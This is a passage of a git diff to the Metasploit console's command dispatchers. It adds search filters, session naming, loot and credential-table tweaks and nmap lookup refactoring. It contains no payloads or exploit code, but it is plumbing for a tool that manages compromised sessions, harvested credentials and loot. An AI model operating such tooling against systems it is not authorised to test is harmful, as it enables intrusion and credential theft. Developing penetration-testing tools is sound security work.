-        subnet, cidr_mask = subnet.split("/")
-        netmask = Rex::Socket.addr_ctoa(cidr_mask.to_i) if cidr_mask
+      subnet,cidr_mask = subnet.split("/")
+      if Rex::Socket.is_ipv4?(args.first)
+        netmask = args.shift
+      else
+        cidr_mask = '32' if cidr_mask.nil?
+        netmask = Rex::Socket.addr_ctoa(cidr_mask.to_i)
       end
 
       netmask = args.shift if netmask.nil?
@@ -1074,7 +1077,6 @@ class Core
     print_line("Saved configuration to: #{Msf::Config.config_file}")
   end
 
-
   def cmd_spool_help
     print_line "Usage: spool <off>|<filename>"
     print_line
@@ -1139,6 +1141,8 @@ class Core
     script   = nil
     reset_ring = false
     response_timeout = 15
+    search_term = nil
+    session_name = nil
 
     # any arguments that don't correspond to an option or option arg will
     # be put in here
@@ -1151,53 +1155,59 @@ class Core
       # Parse the command options
       @@sessions_opts.parse(args) do |opt, idx, val|
         case opt
-        when '-q'
+        when "-q"
           quiet = true
         # Run a command on all sessions, or the session given with -i
-        when '-c'
+        when "-c"
           method = 'cmd'
           cmds << val if val
-        when '-C'
+        when "-C"
             method = 'meterp-cmd'
             cmds << val if val
-        when '-x'
+        when "-x"
           show_extended = true
-        when '-v'
+        when "-v"
           verbose = true
         # Do something with the supplied session identifier instead of
         # all sessions.
-        when '-i'
+        when "-i"
           sid = val
         # Display the list of active sessions
-        when '-l'
+        when "-l"
           method = 'list'
-        when '-k'
+        when "-k"
           method = 'kill'
           sid = val || false
-        when '-K'
+        when "-K"
           method = 'killall'
         # Run a script on all meterpreter sessions
-        when '-s'
+        when "-s"
           unless script
             method = 'scriptall'
             script = val
           end
         # Upload and exec to the specific command session
-        when '-u'
+        when "-u"
           method = 'upexec'
           sid = val || false
+        # Search for specific session
+        when "-S", "--search"
+          search_term = val
         # Reset the ring buffer read pointer
-        when '-r'
+        when "-r"
           reset_ring = true
           method = 'reset_ring'
         # Display help banner
-        when '-h'
+        when "-h"
           cmd_sessions_help
           return false
-        when '-t'
+        when "-t"
           if val.to_s =~ /^\d+$/
             response_timeout = val.to_i
           end
+        when "-n", "--name"
+          method = 'name'
+          session_name = val
         else
           extra << val
         end
@@ -1463,8 +1473,29 @@ class Core
       end
     when 'list',nil
       print_line
-      print(Serializer::ReadableText.dump_sessions(framework, :show_extended => show_extended, :verbose => verbose))
+      print(Serializer::ReadableText.dump_sessions(framework, :show_extended => show_extended, :verbose => verbose, :search_term => search_term))
       print_line
+    when 'name'
+      if session_name.blank?
+        print_error('Please specify a valid session name')
+        return false
+      end
+
+      sessions = sid ? session_list : nil
+
+      if sessions.nil? || sessions.empty?
+        print_error("Please specify valid session identifier(s) using -i")
+        return false
+      end
+
+      sessions.each do |s|
+        if framework.sessions[s].respond_to?(:name=)
+          framework.sessions[s].name = session_name
+          print_status("Session #{s} named to #{session_name}")
+        else
+          print_error("Session #{s} cannot be named")
+        end
+      end
     end
 
     rescue IOError, EOFError, Rex::StreamClosedError
@@ -1595,12 +1626,6 @@ class Core
     # Set the supplied name to the supplied value
     name  = args[0]
     value = args[1, args.length-1].join(' ')
-    if (name.upcase == "TARGET")
-      # Different targets can have different architectures and platforms
-      # so we need to rebuild the payload list whenever the target
-      # changes.
-      @cache_payloads = nil
-    end
 
     # If the driver indicates that the value is not valid, bust out.
     if (driver.on_variable_set(global, name, value) == false)
@@ -1952,7 +1977,6 @@ class Core
 
   alias cmd_unsetg_help cmd_unset_help
 
-
   #
   # Returns the revision of the framework and console library
   #
@@ -2257,11 +2281,16 @@ class Core
   # Provide valid payload options for the current exploit
   #
   def option_values_payloads
-    return @cache_payloads if @cache_payloads
+    if @cache_payloads && active_module == @previous_module && active_module.target == @previous_target
+      return @cache_payloads
+    end
 
-    @cache_payloads = active_module.compatible_payloads.map { |refname, payload|
+    @previous_module = active_module
+    @previous_target = active_module.target
+
+    @cache_payloads = active_module.compatible_payloads.map do |refname, payload|
       refname
-    }
+    end
 
     @cache_payloads
   end
@@ -2411,7 +2440,6 @@ class Core
     return binary_paths.include? Msf::Config.install_root
   end
 
-
   #
   # Returns an array of lines at the provided line number plus any before and/or after lines requested
   # from all_lines by supplying the +before+ and/or +after+ parameters which are always positive
diff --git a/lib/msf/ui/console/command_dispatcher/creds.rb b/lib/msf/ui/console/command_dispatcher/creds.rb
index 0eba702caa..d55d3e1763 100644
--- a/lib/msf/ui/console/command_dispatcher/creds.rb
+++ b/lib/msf/ui/console/command_dispatcher/creds.rb
@@ -3,7 +3,6 @@
 require 'rexml/document'
 require 'rex/parser/nmap_xml'
 require 'msf/core/db_export'
-require 'msf/ui/console/command_dispatcher/db_common'
 
 module Msf
 module Ui
@@ -15,8 +14,8 @@ class Creds
 
   include Msf::Ui::Console::CommandDispatcher
   include Metasploit::Credential::Creation
-  include Msf::Ui::Console::CommandDispatcher::DbCommon
-  
+  include Msf::Ui::Console::CommandDispatcher::Common
+
   #
   # The dispatcher's name.
   #
@@ -32,11 +31,11 @@ class Creds
       "creds" => "List all credentials in the database"
     }
   end
-  
+
   def allowed_cred_types
     %w(password ntlm hash)
   end
-  
+
   #
   # Returns true if the db is connected, prints an error and returns
   # false if not.
@@ -52,7 +51,7 @@ class Creds
     end
     true
   end
-  
+
   #
   # Miscellaneous option helpers
   #
@@ -85,22 +84,22 @@ class Creds
     end
     return true
   end
-  
+
   #
   # Can return return active or all, on a certain host or range, on a
   # certain port or range, and/or on a service name.
   #
   def cmd_creds(*args)
     return unless active?
-    
+
     # Short-circuit help
     if args.delete "-h"
       cmd_creds_help
       return
     end
-    
+
     subcommand = args.shift
-    
+
     case subcommand
     when 'help'
       cmd_creds_help
@@ -113,7 +112,7 @@ class Creds
     end
 
   end
-  
+
   #
   # TODO: this needs to be cleaned up to use the new syntax
   #
@@ -160,7 +159,7 @@ class Creds
     print_line "   creds add user:other hash:d19c32489b870735b5f587d76b934283"
     print_line "   # Add a NonReplayableHash"
     print_line "   creds add hash:d19c32489b870735b5f587d76b934283"
-    
+
     print_line
     print_line "General options"
     print_line "  -h,--help             Show this help information"
@@ -190,7 +189,7 @@ class Creds
     print_line "  creds -d -s smb"
     print_line
   end
-  
+
   # @param private_type [Symbol] See `Metasploit::Credential::Creation#create_credential`
   # @param username [String]
   # @param password [String]
@@ -202,35 +201,35 @@ class Creds
       hsh[opt[0]] = opt[1..-1].join(':') # everything before the first : is the key, reasembling everything after the colon. why ntlm hashes
       hsh
     end
-    
+
     begin
       params.assert_valid_keys('user','password','realm','realm-type','ntlm','ssh-key','hash','address','port','protocol', 'service-name')
     rescue ArgumentError => e
       print_error(e.message)
     end
-    
+
     # Verify we only have one type of private
     if params.slice('password','ntlm','ssh-key','hash').length > 1
       private_keys = params.slice('password','ntlm','ssh-key','hash').keys
       print_error("You can only specify a single Private type. Private types given: #{private_keys.join(', ')}")
       return
     end
-    
+
     login_keys = params.slice('address','port','protocol','service-name')
     if login_keys.any? and login_keys.length < 3
       missing_login_keys = ['host','port','proto','service-name'] - login_keys.keys
       print_error("Creating a login requires a address, a port, and a protocol. Missing params: #{missing_login_keys}")
       return
     end
-   
+
     data = {
       workspace_id: framework.db.workspace,
       origin_type: :import,
       filename: 'msfconsole'
     }
-    
+
     data[:username] = params['user'] if params.key? 'user'
-    
+
     if params.key? 'realm'
       if params.key? 'realm-type'
         if Metasploit::Model::Realm::Key::SHORT_NAMES.key? params['realm-type']
@@ -269,7 +268,7 @@ class Creds
       data[:private_type] = :nonreplayable_hash
       data[:private_data] = params['hash']
     end
-        
+
     begin
       if login_keys.any?
         data[:address] = params['address']
@@ -284,7 +283,7 @@ class Creds
       print_error("Failed to add #{data['private_type']}: #{e}")
     end
   end
-  
+
   def creds_search(*args)
     host_ranges   = []
     origin_ranges = []
@@ -298,6 +297,7 @@ class Creds
     cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type' ]
     user = nil
     delete_count = 0
+    search_term = nil
 
     while (arg = args.shift)
       case arg
@@ -348,6 +348,8 @@ class Creds
           return
         end
         arg_host_range(hosts, origin_ranges)
+      when '-S', '--search-term'
+        search_term = args.shift
       else
         # Anything that wasn't an option is a host to search for
         unless (arg_host_range(arg, host_ranges))
@@ -377,7 +379,8 @@ class Creds
     svcs.flatten!
     tbl_opts = {
       'Header'  => "Credentials",
-      'Columns' => cred_table_columns
+      'Columns' => cred_table_columns,
+      'SearchTerm' => search_term
     }
 
     tbl = Rex::Text::Table.new(tbl_opts)
@@ -515,8 +518,8 @@ class Creds
     end
     return tabs
   end
-  
-  
+
+
 end
 
 end end end end
diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb
index 960345afa9..e37a16a350 100644
--- a/lib/msf/ui/console/command_dispatcher/db.rb
+++ b/lib/msf/ui/console/command_dispatcher/db.rb
@@ -3,7 +3,6 @@
 require 'rexml/document'
 require 'rex/parser/nmap_xml'
 require 'msf/core/db_export'
-require 'msf/ui/console/command_dispatcher/db_common'
 
 module Msf
 module Ui
@@ -15,8 +14,8 @@ class Db
   require 'tempfile'
 
   include Msf::Ui::Console::CommandDispatcher
-  include Msf::Ui::Console::CommandDispatcher::DbCommon
-  
+  include Msf::Ui::Console::CommandDispatcher::Common
+ 
   #
   # The dispatcher's name.
   #
@@ -94,7 +93,9 @@ class Db
 
   def cmd_workspace(*args)
     return unless active?
+    search_term = nil
   ::ActiveRecord::Base.connection_pool.with_connection {
+    search_term = nil
     while (arg = args.shift)
       case arg
       when '-h','--help'
@@ -108,8 +109,10 @@ class Db
         delete_all = true
       when '-r','--rename'
         renaming = true
-      when '-v'
+      when '-v','--verbose'
         verbose = true
+      when '-S', '--search'
+        search_term = args.shift
       else
         names ||= []
         names << arg
@@ -179,19 +182,26 @@ class Db
       workspace = framework.db.workspace
 
       unless verbose
-        framework.db.workspaces.each do |ws|
-          pad = (ws == workspace) ? '* ' : '  '
-          print_line("#{pad}#{ws.name}")
+        current = nil
+        framework.db.workspaces.sort_by {|s| s.name}.each do |s|
+          if s.name == workspace.name
+            current = s.name
+          else
+            print_line("  #{s.name}")
+          end
         end
+        print_line("%red* #{current}%clr") unless current.nil?
         return
       end
+      workspace = framework.db.workspace
 
       col_names = %w{current name hosts services vulns creds loots notes}
 
       tbl = Rex::Text::Table.new(
-        'Header'    => 'Workspaces',
-        'Columns'   => col_names,
-        'SortIndex' => -1
+        'Header'     => 'Workspaces',
+        'Columns'    => col_names,
+        'SortIndex'  => -1,
+        'SearchTerm' => search_term
       )
 
       # List workspaces
@@ -456,15 +466,20 @@ class Db
       return
     end
 
+    cp_hsh = {}
+    col_names.map do |col|
+      cp_hsh[col] = { 'MaxChar' => 52 }
+    end
     # If we got here, we're searching.  Delete implies search
     tbl = Rex::Text::Table.new(
       {
-        'Header'    => "Hosts",
-        'Columns'   => col_names,
+        'Header'  => "Hosts",
+        'Columns' => col_names,
+        'ColProps' => cp_hsh,
         'SortIndex' => order_by
       })
 
-    # Sentinal value meaning all
+    # Sentinel value meaning all
     host_ranges.push(nil) if host_ranges.empty?
 
     case
@@ -527,7 +542,12 @@ class Db
           rhosts << addr
         end
         if mode == [:delete]
-          host.destroy
+          begin
+            host.destroy
+          rescue # refs suck
+            print_error("Forcibly deleting #{host.address}")
+            host.delete
+          end
           delete_count += 1
         end
       end
@@ -697,7 +717,7 @@ class Db
         'SortIndex' => order_by
       })
 
-    # Sentinal value meaning all
+    # Sentinel value meaning all
     host_ranges.push(nil) if host_ranges.empty?
     ports = nil if ports.empty?
 
@@ -1095,7 +1115,7 @@ class Db
   def cmd_loot_help
     print_line "Usage: loot <options>"
     print_line " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]"
-    print_line "  Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]"
+    print_line "  Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]"
     print_line "  Del: loot -d [addr1 addr2 ...]"
     print_line
     print_line "  -a,--add          Add loot to the list of addresses, instead of listing"
@@ -1167,34 +1187,38 @@ class Db
         'Columns' => [ 'host', 'service', 'type', 'name', 'content', 'info', 'path' ],
       })
 
-    # Sentinal value meaning all
+    # Sentinel value meaning all
     host_ranges.push(nil) if host_ranges.empty?
 
-  if mode == :add
-    if info.nil?
-      print_error("Info required")
-      return
-    end
-    if filename.nil?
-      print_error("Loot file required")
-      return
-    end
-    if types.nil? or types.size != 1
-      print_error("Exactly one loot type is required")
-      return
-    end
-    type = types.first
-    name = File.basename(filename)
-    host_ranges.each do |range|
-      range.each do |host|
-        file = File.open(filename, "rb")
-        contents = file.read
-        lootfile = framework.db.find_or_create_loot(:type => type, :host => host, :info => info, :data => contents, :path => filename, :name => name)
-        print_status("Added loot for #{host} (#{lootfile})")
+    if mode == :add
+      if host_ranges.compact.empty?
+        print_error('Address list required')
+        return
       end
+      if info.nil?
+        print_error("Info required")
+        return
+      end
+      if filename.nil?
+        print_error("Loot file required")
+        return
+      end
+      if types.nil? or types.size != 1
+        print_error("Exactly one loot type is required")
+        return
+      end
+      type = types.first
+      name = File.basename(filename)
+      file = File.open(filename, "rb")
+      contents = file.read
+      host_ranges.each do |range|
+        range.each do |host|
+          lootfile = framework.db.find_or_create_loot(:type => type, :host => host, :info => info, :data => contents, :path => filename, :name => name)
+          print_status("Added loot for #{host} (#{lootfile})")
+        end
+      end
+      return
     end
-    return
-  end
 
     each_host_range_chunk(host_ranges) do |host_search|
       framework.db.hosts(framework.db.workspace, false, host_search).each do |host|
@@ -1479,6 +1503,10 @@ class Db
   }
   end
 
+  def find_nmap_path
+    Rex::FileUtils.find_full_path("nmap") || Rex::FileUtils.find_full_path("nmap.exe")
+  end
+
   #
   # Import Nmap data from a file
   #
@@ -1489,6 +1517,8 @@ class Db
       print_status("Usage: db_nmap [--save | [--help | -h]] [nmap options]")
       return
     end
+
+    save = false
     arguments = []
     while (arg = args.shift)
       case arg
@@ -1502,11 +1532,8 @@ class Db
       end
     end
 
-    nmap =
-      Rex::FileUtils.find_full_path("nmap") ||
-      Rex::FileUtils.find_full_path("nmap.exe")
-
-    if (not nmap)
+    nmap = find_nmap_path
+    unless nmap
       print_error("The nmap executable could not be found")
       return
     end
@@ -1556,9 +1583,11 @@ class Db
   end
 
   def cmd_db_nmap_help
-    nmap =
-        Rex::FileUtils.find_full_path('nmap') ||
-        Rex::FileUtils.find_full_path('nmap.exe')
+    nmap = find_nmap_path
+    unless nmap
+      print_error("The nmap executable could not be found")
+      return
+    end
 
     stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
 
@@ -1574,9 +1603,10 @@ class Db
   end
 
   def cmd_db_nmap_tabs(str, words)
-    nmap =
-        Rex::FileUtils.find_full_path('nmap') ||
-        Rex::FileUtils.find_full_path('nmap.exe')
+    nmap = find_nmap_path
+    unless nmap
+      return
+    end
 
     stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
     tabs = []
@@ -1591,7 +1621,7 @@ class Db
       print_error(err_line.strip)
     end
 
-    tabs
+    return tabs
   end
 
   #
@@ -1809,55 +1839,6 @@ class Db
   # Miscellaneous option helpers
   #
 
-  # Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+
-  #
-  # @note This modifies +host_ranges+ in place
-  #
-  # @param arg [String] The thing to turn into a RangeWalker
-  # @param host_ranges [Array] The array of ranges to append
-  # @param required [Boolean] Whether an empty +arg+ should be an error
-  # @return [Boolean] true if parsing was successful or false otherwise
-  def arg_host_range(arg, host_ranges, required=false)
-    if (!arg and required)
-      print_error("Missing required host argument")
-      return false
-    end
-    begin
-      rw = Rex::Socket::RangeWalker.new(arg)
-    rescue
-      print_error("Invalid host parameter, #{arg}.")
-      return false
-    end
-
-    if rw.valid?
-      host_ranges << rw
-    else
-      print_error("Invalid host parameter, #{arg}.")
-      return false
-    end
-    return true
-  end
-
-  #
-  # Parse +arg+ into an array of ports and append the result into +port_ranges+
-  #
-  # Returns true if parsing was successful or nil otherwise.
-  #
-  # NOTE: This modifies +port_ranges+
-  #
-  def arg_port_range(arg, port_ranges, required=false)
-    if (!arg and required)
-      print_error("Argument required for -p")
-      return
-    end
-    begin
-      port_ranges << Rex::Socket.portspec_to_portlist(arg)
-    rescue
-      print_error("Invalid port parameter, #{arg}.")
-      return
-    end
-    return true
-  end
 
   #
   # Takes +host_ranges+, an Array of RangeWalkers, and chunks it up into
diff --git a/lib/msf/ui/console/command_dispatcher/db_common.rb b/lib/msf/ui/console/command_dispatcher/db_common.rb
deleted file mode 100644
index 68f789d646..0000000000
--- a/lib/msf/ui/console/command_dispatcher/db_common.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# -*- coding: binary -*-
-
-require 'rexml/document'
-require 'rex/parser/nmap_xml'
-require 'msf/core/db_export'
-
-module Msf
-module Ui
-module Console
-module CommandDispatcher
-
-module DbCommon
-  
-  #
-  # Set RHOSTS in the +active_module+'s (or global if none) datastore from an array of addresses
-  #
-  # This stores all the addresses to a temporary file and utilizes the
-  # <pre>file:/tmp/filename</pre> syntax to confer the addrs.  +rhosts+
-  # should be an Array.  NOTE: the temporary file is *not* deleted
-  # automatically.
-  #
-  def set_rhosts_from_addrs(rhosts)
-    if rhosts.empty?
-      print_status("The list is empty, cowardly refusing to set RHOSTS")
-      return
-    end
-    if active_module
-      mydatastore = active_module.datastore
-    else
-      # if there is no module in use set the list to the global variable
-      mydatastore = self.framework.datastore
-    end
-
-    if rhosts.length > 5
-      # Lots of hosts makes 'show options' wrap which is difficult to
-      # read, store to a temp file
-      rhosts_file = Rex::Quickfile.new("msf-db-rhosts-")
-      mydatastore['RHOSTS'] = 'file:'+rhosts_file.path
-      # create the output file and assign it to the RHOSTS variable
-      rhosts_file.write(rhosts.join("\n")+"\n")
-      rhosts_file.close
-    else
-      # For short lists, just set it directly
-      mydatastore['RHOSTS'] = rhosts.join(" ")
-    end
-
-    print_line "RHOSTS => #{mydatastore['RHOSTS']}"
-    print_line
-  end
-
-  
-end
-
-end
-end
-end
-end
diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb
index a65c1a2093..08ac8aa8a7 100644
--- a/lib/msf/ui/console/command_dispatcher/exploit.rb
+++ b/lib/msf/ui/console/command_dispatcher/exploit.rb
@@ -145,10 +145,8 @@ class Exploit
       end
     # If we ran the exploit as a job, indicate such so the user doesn't
     # wonder what's up.
-    elsif (jobify)
-      if mod.job_id
-        print_status("Exploit running as background job.")
-      end
+    elsif (jobify && mod.job_id)
+      print_status("Exploit running as background job #{mod.job_id}.")
     # Worst case, the exploit ran but we got no session, bummer.
     else
       # If we didn't run a payload handler for this exploit it doesn't
diff --git a/lib/msf/ui/console/command_dispatcher/jobs.rb b/lib/msf/ui/console/command_dispatcher/jobs.rb
index ac184be4e6..85fc1071d1 100644
--- a/lib/msf/ui/console/command_dispatcher/jobs.rb
+++ b/lib/msf/ui/console/command_dispatcher/jobs.rb
@@ -16,6 +16,7 @@ module Msf
         #
         class Jobs
           include Msf::Ui::Console::CommandDispatcher
+          include Msf::Ui::Console::CommandDispatcher::Common
 
           @@handler_opts = Rex::Parser::Arguments.new(
             "-h" => [ false, "Help Banner"],
@@ -33,7 +34,8 @@ module Msf
             "-K" => [ false, "Terminate all running jobs."                    ],
             "-i" => [ true,  "Lists detailed information about a running job."],
             "-l" => [ false, "List all running jobs."                         ],
-            "-v" => [ false, "Print more detailed info.  Use with -i and -l"  ]
+            "-v" => [ false, "Print more detailed info.  Use with -i and -l"  ],
+            "-S" => [ true, "Row search filter."                              ],
           )
 
           def commands
@@ -150,6 +152,9 @@ module Msf
                 # so we can check for the verbose flag.
                 dump_info = true
                 job_id = val
+              when "-S", "--search"
+                search_term = val
+                dump_list = true
               when "-h"
                 cmd_jobs_help
                 return false
@@ -164,7 +169,7 @@ module Msf
                 job = framework.jobs[job_id.to_s]
                 mod = job.ctx[0]
 
-                output  = '\n'
+                output  = "\n"
                 output += "Name: #{mod.name}"
                 output += ", started at #{job.start_time}" if job.start_time
                 print_line(output)
@@ -334,7 +339,7 @@ module Msf
               framework.jobs[job_id.to_s].send(:name=, job_name)
             end
 
-            print_status "Payload Handler Started as Job #{job_id}"
+            print_status "Payload handler running as background job #{job_id}."
           end
         end
       end
diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb
index 09ac5b9233..f0b0110518 100644
--- a/lib/msf/ui/console/command_dispatcher/modules.rb
+++ b/lib/msf/ui/console/command_dispatcher/modules.rb
@@ -13,15 +13,14 @@ module Msf
         class Modules
 
           include Msf::Ui::Console::CommandDispatcher
+          include Msf::Ui::Console::CommandDispatcher::Common
 
           # Constant for a retry timeout on using modules before they're loaded
           CMD_USE_TIMEOUT = 3
 
-          # Constant for disclosure date formatting in search functions
-          DISCLOSURE_DATE_FORMAT = "%Y-%m-%d"
-
           @@search_opts = Rex::Parser::Arguments.new(
-            "-h" => [ false, "Help banner."]
+            "-h" => [ false, "Help banner."],
+            "-S" => [ true, "Row search filter."],
           )
 
           def commands
@@ -49,7 +48,6 @@ module Msf
             super
 
             @dscache = {}
-            @cache_payloads = nil
             @previous_module = nil
             @module_name_stack = []
             @dangerzone_map = nil
@@ -67,23 +65,26 @@ module Msf
           end
 
           def cmd_edit_help
-            msg = "Edit the currently active module"
-            msg = "#{msg} #{local_editor ? "with #{local_editor}" : "(LocalEditor or $VISUAL/$EDITOR should be set first)"}."
-            print_line "Usage: edit"
+            print_line "Usage: edit [file/to/edit.rb]"
             print_line
-            print_line msg
-            print_line "When done editing, you must reload the module with 'reload' or 'rerun'."
+            print_line "Edit a local file or the currently active module with #{local_editor}"
+            print_line "If a file path is specified it will automatically be reloaded after editing"
+            print_line "Otherwise, you can reload the active module with 'reload' or 'rerun'."
             print_line
           end
 
           #
           # Edit the currently active module
           #
-          def cmd_edit
-            if active_module
-              editor = local_editor
-              path   = active_module.file_path
+          def cmd_edit(*args)
+            if args.length > 0
+              path = args[0]
+            elsif active_module
+              path = active_module.file_path
+            end
 
+            if path
+              editor = local_editor
               if editor.nil?
                 editor = 'vim'
                 print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.")
@@ -91,6 +92,10 @@ module Msf
 
               print_status("Launching #{editor} #{path}")
               system(editor, path)
+              
+              if args.length > 0
+                load args[0]
+              end
             else
               print_error('Nothing to edit -- try using a module first.')
             end
@@ -380,63 +385,34 @@ module Msf
           #
           def cmd_search(*args)
             match   = ''
+            search_term = nil
             @@search_opts.parse(args) { |opt, idx, val|
               case opt
                 when "-t"
                   print_error("Deprecated option.  Use type:#{val} instead")
                   cmd_search_help
                   return
+                when "-S", "--search"
+                  search_term = val
                 when "-h"
                   cmd_search_help
                   return
+                when "-S"
+                  search_term = val
                 else
                   match += val + " "
               end
             }
 
-            if framework.db
-              if framework.db.migrated && framework.db.modules_cached
-                search_modules_sql(match)
-                return
-              else
-                print_warning("Module database cache not built yet, using slow search")
-              end
-            else
-              print_warning("Database not connected, using slow search")
-            end
-
-            tbl = generate_module_table("Matching Modules")
-            [
-              framework.exploits,
-              framework.auxiliary,
-              framework.post,
-              framework.payloads,
-              framework.nops,
-              framework.encoders
-            ].each do |mset|
-              mset.each do |m|
-                o = mset.create(m[0]) rescue nil
-
-                # Expected if modules are loaded without the right pre-requirements
-                next if not o
-
-                if not o.search_filter(match)
-                  tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
-                end
-              end
-            end
-            print_line(tbl.to_s)
-
-          end
-
-          # Prints table of modules matching the search_string.
-          #
-          # @param (see Msf::DBManager#search_modules)
-          # @return [void]
-          def search_modules_sql(search_string)
-            tbl = generate_module_table("Matching Modules")
-            framework.db.search_modules(search_string).each do |o|
-              tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), RankingName[o.rank].to_s, o.name ]
+            # Display the table of matches
+            tbl = generate_module_table("Matching Modules", search_term)
+            framework.search(match, logger: self).each do |m|
+              tbl << [
+                m.fullname,
+                m.disclosure_date.nil? ? "" : m.disclosure_date.strftime("%Y-%m-%d"),
+                RankingName[m.rank].to_s,
+                m.name
+              ]
             end
             print_line(tbl.to_s)
           end
@@ -603,11 +579,11 @@ module Msf
             mod_name = args[0]
 
             # Ensure we have a reference name and not a path
-            if mod_name.start_with?('modules/', '/')
-              mod_name.sub!(/^(?:modules)?\//, '')
+            if mod_name.start_with?('./', 'modules/')
+              mod_name.sub!(/^(?:\.\/)?modules\//, '')
             end
-            if mod_name.end_with?('.', '.r', '.rb')
-              mod_name.sub!(/\.(?:rb?)?$/, '')
+            if mod_name.end_with?('.rb')
+              mod_name.sub!(/\.rb$/, '')
             end
 
             begin
@@ -668,7 +644,6 @@ module Msf
               active_module.datastore.update(@dscache[active_module.fullname])
             end
 
-            @cache_payloads = nil
             mod.init_ui(driver.input, driver.output)
 
             # Update the command prompt
@@ -680,7 +655,7 @@ module Msf
           #
           # Command to take to the previously active module
           #
-          def cmd_previous()
+          def cmd_previous(*args)
             if @previous_module
               self.cmd_use(@previous_module.fullname)
             else
@@ -997,44 +972,6 @@ module Msf
             show_module_set("Post", framework.post, regex, minrank, opts)
           end
 
-          def show_options(mod) # :nodoc:
-            mod_opt = Serializer::ReadableText.dump_options(mod, '   ')
-            print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
-
-            # If it's an exploit and a payload is defined, create it and
-            # display the payload's options
-            if (mod.exploit? and mod.datastore['PAYLOAD'])
-              p = framework.payloads.create(mod.datastore['PAYLOAD'])
-
-              if (!p)
-                print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
-                return
-              end
-
-              p.share_datastore(mod.datastore)
-
-              if (p)
-                p_opt = Serializer::ReadableText.dump_options(p, '   ')
-                print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
-              end
-            end
-
-            # Print the selected target
-            if (mod.exploit? and mod.target)
-              mod_targ = Serializer::ReadableText.dump_exploit_target(mod, '   ')
-              print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0)
-            end
-
-            # Print the selected action
-            if mod.kind_of?(Msf::Module::HasActions) && mod.action
-              mod_action = Serializer::ReadableText.dump_module_action(mod, '   ')
-              print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0)
-            end
-
-            # Uncomment this line if u want target like msf2 format
-            #print("\nTarget: #{mod.target.name}\n\n")
-          end
-
           def show_missing(mod) # :nodoc:
             mod_opt = Serializer::ReadableText.dump_options(mod, '   ', true)
             print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
@@ -1185,7 +1122,12 @@ module Msf
                     end
                   end
                   if (opts == nil or show == true)
-                    tbl << [ refname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
+                    tbl << [
+                      refname,
+                      o.disclosure_date.nil? ? "" : o.disclosure_date.strftime("%Y-%m-%d"),
+                      o.rank_to_s,
+                      o.name
+                    ]
                   end
                 end
               end
@@ -1194,13 +1136,14 @@ module Msf
             print(tbl.to_s)
           end
 
-          def generate_module_table(type) # :nodoc:
+          def generate_module_table(type, search_term = nil) # :nodoc:
             Table.new(
               Table::Style::Default,
-              'Header'  => type,
-              'Prefix'  => "\n",
-              'Postfix' => "\n",
-              'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Description' ]
+              'Header'     => type,
+              'Prefix'     => "\n",
+              'Postfix'    => "\n",
+              'Columns'    => [ 'Name', 'Disclosure Date', 'Rank', 'Description' ],
+              'SearchTerm' => search_term
             )
           end
 
diff --git a/lib/msf/ui/console/command_dispatcher/post.rb b/lib/msf/ui/console/command_dispatcher/post.rb
index 7400d6b796..e117895149 100644
--- a/lib/msf/ui/console/command_dispatcher/post.rb
+++ b/lib/msf/ui/console/command_dispatcher/post.rb
@@ -131,8 +131,8 @@ class Post
       return false
     end
 
-    if (jobify)
-      print_status("Post module running as background job")
+    if (jobify && mod.job_id)
+      print_status("Post module running as background job #{mod.job_id}.")
     else
       print_status("Post module execution completed")
     end
diff --git a/lib/msf/ui/console/command_dispatcher/resource.rb b/lib/msf/ui/console/command_dispatcher/resource.rb
index 846089c64d..b020bd743f 100644
--- a/lib/msf/ui/console/command_dispatcher/resource.rb
+++ b/lib/msf/ui/console/command_dispatcher/resource.rb
@@ -37,8 +37,8 @@ module Msf
           def cmd_resource_help
             print_line "Usage: resource path1 [path2 ...]"
             print_line
-            print_line "Run the commands stored in the supplied files.  Resource files may also contain"
-            print_line "ruby code between <ruby></ruby> tags."
+            print_line "Run the commands stored in the supplied files (- for stdin)."
+            print_line "Resource files may also contain ERB or Ruby code between <ruby></ruby> tags."
             print_line
             print_line "See also: makerc"
             print_line
@@ -52,21 +52,23 @@ module Msf
 
             args.each do |res|
               good_res = nil
-              if ::File.exist?(res)
+              if res == '-'
+                good_res = res
+              elsif ::File.exist?(res)
                 good_res = res
               elsif
                 # let's check to see if it's in the scripts/resource dir (like when tab completed)
-              [
-                ::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
-                ::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
-              ].each do |dir|
-                res_path = dir + ::File::SEPARATOR + res
-                if ::File.exist?(res_path)
-                  good_res = res_path
-                  break
+                [
+                  ::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
+                  ::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
+                ].each do |dir|
